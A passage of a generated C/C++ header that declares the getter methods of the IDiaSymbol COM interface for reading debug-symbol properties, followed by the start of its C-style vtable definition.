[id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasSetJump( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasLongJump( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasInlAsm( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasEH( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasSEH( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasEHa( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isNaked( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAggregated( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSplitted( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_container( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_inlSpec( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noStackOrdering( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseTableType( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasManagedCode( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isHotpatchable( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isCVTCIL( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isMSILNetmodule( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isCTypes( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isStripped( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndQFE( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndQFE( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_wasInlined( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_strictGSCheck( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isCxxReturnUdt( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isConstructorVirtualBase( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_RValueReference( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unmodifiedType( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_framePointerPresent( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSafeBuffers( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_intrinsic( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sealed( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hfaFloat( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hfaDouble( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeStartAddressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeStartAddressOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeStartRelativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_countLiveRanges( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_liveRangeLength( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_offsetInUdt( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_paramBasePointerRegisterId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_localBasePointerRegisterId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isLocationControlFlowDependent( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_stride( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfRows( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfColumns( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isMatrixRowMajor( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_numericProperties( \n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_modifierValues( \n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isReturnValue( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isOptimizedAway( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_builtInKind( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerType( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseDataSlot( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseDataOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_textureSlot( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_samplerSlot( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uavSlot( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sizeInUdt( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_memorySpaceKind( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unmodifiedTypeId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_subTypeId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_subType( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfModifiers( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfRegisterIndices( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isHLSLData( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPointerToDataMember( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPointerToMemberFunction( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSingleInheritance( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isMultipleInheritance( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isVirtualInheritance( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_restrictedType( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPointerBasedOnSymbolValue( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseSymbol( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseSymbolId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_objectFileName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAcceleratorGroupSharedLocal( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAcceleratorPointerTagLiveRange( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isAcceleratorStubFunction( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_numberOfAcceleratorPointerTags( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSdl( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isWinRTPointer( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isRefUdt( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isValueUdt( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isInterfaceUdt( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineFramesByAddr( \n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineFramesByRVA( \n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineFramesByVA( \n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLines( \n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByAddr( \n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByRVA( \n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByVA( \n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolsForAcceleratorPointerTag( \n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolsByRVAForAcceleratorPointerTag( \n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_acceleratorPointerTags( \n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getSrcLineOnTypeDefn( \n            /* [out] */ IDiaLineNumber **ppResult) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isPGO( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasValidPGOCounts( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isOptimizedForSpeed( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_PGOEntryCount( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_PGOEdgeCount( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_PGODynamicInstructionCount( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_staticSize( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_finalLiveStaticSize( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_phaseName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasControlFlowCheck( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_constantExport( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_dataExport( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_privateExport( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noNameExport( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exportHasExplicitlyAssignedOrdinal( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exportIsForwarder( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ordinal( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frameSize( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerAddressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerAddressOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerRelativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_exceptionHandlerVirtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInputAssemblyFile( \n            /* [out] */ IDiaInputAssemblyFile **ppResult) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_characteristics( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_coffGroup( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bindID( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bindSpace( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bindSlot( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbolVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol * 